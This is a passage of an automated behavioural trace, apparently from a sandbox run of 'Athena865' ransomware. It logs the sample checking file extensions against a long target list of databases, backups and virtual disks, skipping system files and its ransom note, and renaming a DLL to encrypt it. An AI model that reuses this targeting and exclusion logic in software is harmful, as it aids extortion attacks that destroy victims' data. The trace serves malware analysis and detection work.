lpString2="rar") returned -1 [0114.101] lstrlenW (lpString="zip") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.101] lstrlenW (lpString="tgz") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.101] lstrlenW (lpString="vbox") returned 4 [0114.101] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.101] lstrlenW (lpString="vdi") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.101] lstrlenW (lpString="vhd") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.102] lstrlenW (lpString="vhdx") returned 4 [0114.102] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.102] lstrlenW (lpString="avhd") returned 4 [0114.102] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.102] lstrlenW (lpString="db") returned 2 [0114.102] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.102] lstrlenW (lpString="db2") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.102] lstrlenW (lpString="db3") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.102] lstrlenW (lpString="dbf") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.102] lstrlenW (lpString="mdf") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.102] lstrlenW (lpString="mdb") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.102] lstrlenW (lpString="sql") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.102] lstrlenW (lpString="sqlite") returned 6 [0114.102] lstrcmpiW (lpString1="MF.DLL", lpString2="sqlite") returned -1 [0114.102] lstrlenW (lpString="sqlite3") returned 7 [0114.102] lstrcmpiW (lpString1="LMF.DLL", lpString2="sqlite3") returned -1 [0114.102] lstrlenW (lpString="sqlitedb") returned 8 [0114.102] lstrcmpiW (lpString1="MLMF.DLL", lpString2="sqlitedb") returned -1 [0114.102] lstrlenW (lpString="xml") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.102] lstrlenW (lpString="$er") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.102] lstrlenW (lpString="4dd") returned 3 [0114.102] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.103] lstrlenW (lpString="4dl") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.103] lstrlenW (lpString="^^^") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.103] lstrlenW (lpString="abs") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.103] lstrlenW (lpString="abx") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.103] lstrlenW (lpString="accdb") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accdb") returned 1 [0114.103] lstrlenW (lpString="accdc") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accdc") returned 1 [0114.103] lstrlenW (lpString="accde") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accde") returned 1 [0114.103] lstrlenW (lpString="accdr") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accdr") returned 1 [0114.103] lstrlenW (lpString="accdt") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accdt") returned 1 [0114.103] lstrlenW (lpString="accdw") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accdw") returned 1 [0114.103] lstrlenW (lpString="accft") returned 5 [0114.103] lstrcmpiW (lpString1="F.DLL", lpString2="accft") returned 1 [0114.103] lstrlenW (lpString="adb") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.103] lstrlenW (lpString="adb") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.103] lstrlenW (lpString="ade") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.103] lstrlenW (lpString="adf") returned 3 [0114.103] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.104] lstrlenW (lpString="adn") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.104] lstrlenW (lpString="adp") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.104] lstrlenW (lpString="alf") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.104] lstrlenW (lpString="ask") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.104] lstrlenW (lpString="btr") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.104] lstrlenW (lpString="cat") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.104] lstrlenW (lpString="cdb") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.104] lstrlenW (lpString="ckp") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.104] lstrlenW (lpString="cma") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.104] lstrlenW (lpString="cpd") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.104] lstrlenW (lpString="dacpac") returned 6 [0114.104] lstrcmpiW (lpString1="MF.DLL", lpString2="dacpac") returned 1 [0114.104] lstrlenW (lpString="dad") returned 3 [0114.104] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.104] lstrlenW (lpString="dadiagrams") returned 10 [0114.104] lstrcmpiW (lpString1="OXMLMF.DLL", lpString2="dadiagrams") returned 1 [0114.104] lstrlenW (lpString="daschema") returned 8 [0114.104] lstrcmpiW (lpString1="MLMF.DLL", lpString2="daschema") returned 1 [0114.104] lstrlenW (lpString="db-journal") returned 10 [0114.104] lstrcmpiW (lpString1="OXMLMF.DLL", lpString2="db-journal") returned 1 [0114.105] lstrlenW (lpString="db-shm") returned 6 [0114.105] lstrcmpiW (lpString1="MF.DLL", lpString2="db-shm") returned 1 [0114.105] lstrlenW (lpString="db-wal") returned 6 [0114.105] lstrcmpiW (lpString1="MF.DLL", lpString2="db-wal") returned 1 [0114.105] lstrlenW (lpString="dbc") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.105] lstrlenW (lpString="dbs") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.105] lstrlenW (lpString="dbt") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.105] lstrlenW (lpString="dbv") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.105] lstrlenW (lpString="dbx") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.105] lstrlenW (lpString="dcb") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.105] lstrlenW (lpString="dct") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.105] lstrlenW (lpString="dcx") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.105] lstrlenW (lpString="ddl") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.105] lstrlenW (lpString="dlis") returned 4 [0114.105] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.105] lstrlenW (lpString="dp1") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.105] lstrlenW (lpString="dqy") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.105] lstrlenW (lpString="dsk") returned 3 [0114.105] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.106] lstrlenW (lpString="dsn") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.106] lstrlenW (lpString="dtsx") returned 4 [0114.106] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.106] lstrlenW (lpString="dxl") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.106] lstrlenW (lpString="eco") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.106] lstrlenW (lpString="ecx") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.106] lstrlenW (lpString="edb") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.106] lstrlenW (lpString="epim") returned 4 [0114.106] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.106] lstrlenW (lpString="fcd") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.106] lstrlenW (lpString="fdb") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.106] lstrlenW (lpString="fic") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.106] lstrlenW (lpString="flexolibrary") returned 12 [0114.106] lstrlenW (lpString="fm5") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.106] lstrlenW (lpString="fmp") returned 3 [0114.106] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.106] lstrlenW (lpString="fmp12") returned 5 [0114.106] lstrcmpiW (lpString1="F.DLL", lpString2="fmp12") returned -1 [0114.106] lstrlenW (lpString="fmpsl") returned 5 [0114.106] lstrcmpiW (lpString1="F.DLL", lpString2="fmpsl") returned -1 [0114.106] lstrlenW (lpString="fol") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.107] lstrlenW (lpString="fp3") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.107] lstrlenW (lpString="fp4") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.107] lstrlenW (lpString="fp5") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.107] lstrlenW (lpString="fp7") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.107] lstrlenW (lpString="fpt") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.107] lstrlenW (lpString="frm") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.107] lstrlenW (lpString="gdb") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.107] lstrlenW (lpString="gdb") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.107] lstrlenW (lpString="grdb") returned 4 [0114.107] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.107] lstrlenW (lpString="gwi") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.107] lstrlenW (lpString="hdb") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.107] lstrlenW (lpString="his") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.107] lstrlenW (lpString="ib") returned 2 [0114.107] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.107] lstrlenW (lpString="idb") returned 3 [0114.107] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.108] lstrlenW (lpString="ihx") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.108] lstrlenW (lpString="itdb") returned 4 [0114.108] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.108] lstrlenW (lpString="itw") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.108] lstrlenW (lpString="jet") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.108] lstrlenW (lpString="jtx") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.108] lstrlenW (lpString="kdb") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.108] lstrlenW (lpString="kexi") returned 4 [0114.108] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.108] lstrlenW (lpString="kexic") returned 5 [0114.108] lstrcmpiW (lpString1="F.DLL", lpString2="kexic") returned -1 [0114.108] lstrlenW (lpString="kexis") returned 5 [0114.108] lstrcmpiW (lpString1="F.DLL", lpString2="kexis") returned -1 [0114.108] lstrlenW (lpString="lgc") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.108] lstrlenW (lpString="lwx") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.108] lstrlenW (lpString="maf") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.108] lstrlenW (lpString="maq") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.108] lstrlenW (lpString="mar") returned 3 [0114.108] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.108] lstrlenW (lpString="marshal") returned 7 [0114.108] lstrcmpiW (lpString1="LMF.DLL", lpString2="marshal") returned -1 [0114.108] lstrlenW (lpString="mas") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.109] lstrlenW (lpString="mav") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.109] lstrlenW (lpString="maw") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.109] lstrlenW (lpString="mdbhtml") returned 7 [0114.109] lstrcmpiW (lpString1="LMF.DLL", lpString2="mdbhtml") returned -1 [0114.109] lstrlenW (lpString="mdn") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.109] lstrlenW (lpString="mdt") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.109] lstrlenW (lpString="mfd") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.109] lstrlenW (lpString="mpd") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.109] lstrlenW (lpString="mrg") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.109] lstrlenW (lpString="mud") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.109] lstrlenW (lpString="mwb") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.109] lstrlenW (lpString="myd") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.109] lstrlenW (lpString="ndf") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.109] lstrlenW (lpString="nnt") returned 3 [0114.109] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.109] lstrlenW (lpString="nrmlib") returned 6 [0114.109] lstrcmpiW (lpString1="MF.DLL", lpString2="nrmlib") returned -1 [0114.109] lstrlenW (lpString="ns2") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.110] lstrlenW (lpString="ns3") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.110] lstrlenW (lpString="ns4") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.110] lstrlenW (lpString="nsf") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.110] lstrlenW (lpString="nv") returned 2 [0114.110] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.110] lstrlenW (lpString="nv2") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.110] lstrlenW (lpString="nwdb") returned 4 [0114.110] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.110] lstrlenW (lpString="nyf") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.110] lstrlenW (lpString="odb") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.110] lstrlenW (lpString="odb") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.110] lstrlenW (lpString="oqy") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.110] lstrlenW (lpString="ora") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.110] lstrlenW (lpString="orx") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.110] lstrlenW (lpString="owc") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.110] lstrlenW (lpString="p96") returned 3 [0114.110] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.111] lstrlenW (lpString="p97") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.111] lstrlenW (lpString="pan") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.111] lstrlenW (lpString="pdb") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.111] lstrlenW (lpString="pdm") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.111] lstrlenW (lpString="pnz") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.111] lstrlenW (lpString="qry") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.111] lstrlenW (lpString="qvd") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.111] lstrlenW (lpString="rbf") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.111] lstrlenW (lpString="rctd") returned 4 [0114.111] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.111] lstrlenW (lpString="rod") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.111] lstrlenW (lpString="rodx") returned 4 [0114.111] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.111] lstrlenW (lpString="rpd") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.111] lstrlenW (lpString="rsd") returned 3 [0114.111] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.111] lstrlenW (lpString="sas7bdat") returned 8 [0114.111] lstrcmpiW (lpString1="MLMF.DLL", lpString2="sas7bdat") returned -1 [0114.112] lstrlenW (lpString="sbf") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.112] lstrlenW (lpString="scx") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.112] lstrlenW (lpString="sdb") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.112] lstrlenW (lpString="sdc") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.112] lstrlenW (lpString="sdf") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.112] lstrlenW (lpString="sis") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.112] lstrlenW (lpString="spq") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.112] lstrlenW (lpString="te") returned 2 [0114.112] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.112] lstrlenW (lpString="teacher") returned 7 [0114.112] lstrcmpiW (lpString1="LMF.DLL", lpString2="teacher") returned -1 [0114.112] lstrlenW (lpString="tmd") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.112] lstrlenW (lpString="tps") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.112] lstrlenW (lpString="trc") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.112] lstrlenW (lpString="trc") returned 3 [0114.112] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.112] lstrlenW (lpString="trm") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.113] lstrlenW (lpString="udb") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.113] lstrlenW (lpString="udl") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.113] lstrlenW (lpString="usr") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.113] lstrlenW (lpString="v12") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.113] lstrlenW (lpString="vis") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.113] lstrlenW (lpString="vpd") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.113] lstrlenW (lpString="vvv") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.113] lstrlenW (lpString="wdb") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.113] lstrlenW (lpString="wmdb") returned 4 [0114.113] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.113] lstrlenW (lpString="wrk") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.113] lstrlenW (lpString="xdb") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.113] lstrlenW (lpString="xld") returned 3 [0114.113] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.113] lstrlenW (lpString="xmlff") returned 5 [0114.113] lstrcmpiW (lpString1="F.DLL", lpString2="xmlff") returned -1 [0114.113] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.Athena865") returned 78 [0114.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.athena865"), dwFlags=0x1) returned 1 [0114.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0114.115] GetLastError () returned 0x20 [0114.115] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL CreateFile error 32\r\n") returned 98 [0114.115] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL CreateFile error 32\r\n") returned 98 [0114.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0114.115] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e81 [0114.115] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x62, lpOverlapped=0x0) returned 1 [0114.116] CloseHandle (hObject=0x154) returned 1 [0114.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.athena865"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwFlags=0x1) returned 1 [0114.117] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0114.117] CloseHandle (hObject=0x0) returned 0 [0114.117] CloseHandle (hObject=0xffffffff) returned 0 [0114.117] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="..") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="windows") returned -1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="bootmgr") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="temp") returned -1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="pagefile.sys") returned -1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="boot") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="ids.txt") returned 1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="ntuser.dat") returned -1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="perflogs") returned -1 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="MSBuild") returned 1 [0114.117] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0114.117] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSPTLS.DLL" | out: lpString1="MSPTLS.DLL") returned="MSPTLS.DLL" [0114.117] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0114.117] lstrlenW (lpString="Athena865") returned 9 [0114.117] lstrcmpiW (lpString1="SPTLS.DLL", lpString2="Athena865") returned 1 [0114.117] lstrlenW (lpString=".dll") returned 4 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".dll") returned 1 [0114.117] lstrlenW (lpString=".lnk") returned 4 [0114.117] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".lnk") returned 1 [0114.118] lstrlenW (lpString=".ini") returned 4 [0114.118] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".ini") returned 1 [0114.118] lstrlenW (lpString=".sys") returned 4 [0114.118] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".sys") returned 1 [0114.118] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0114.118] lstrlenW (lpString="bak") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.118] lstrlenW (lpString="ba_") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.118] lstrlenW (lpString="dbb") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.118] lstrlenW (lpString="vmdk") returned 4 [0114.118] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.118] lstrlenW (lpString="rar") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.118] lstrlenW (lpString="zip") returned 3 [0114.118] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 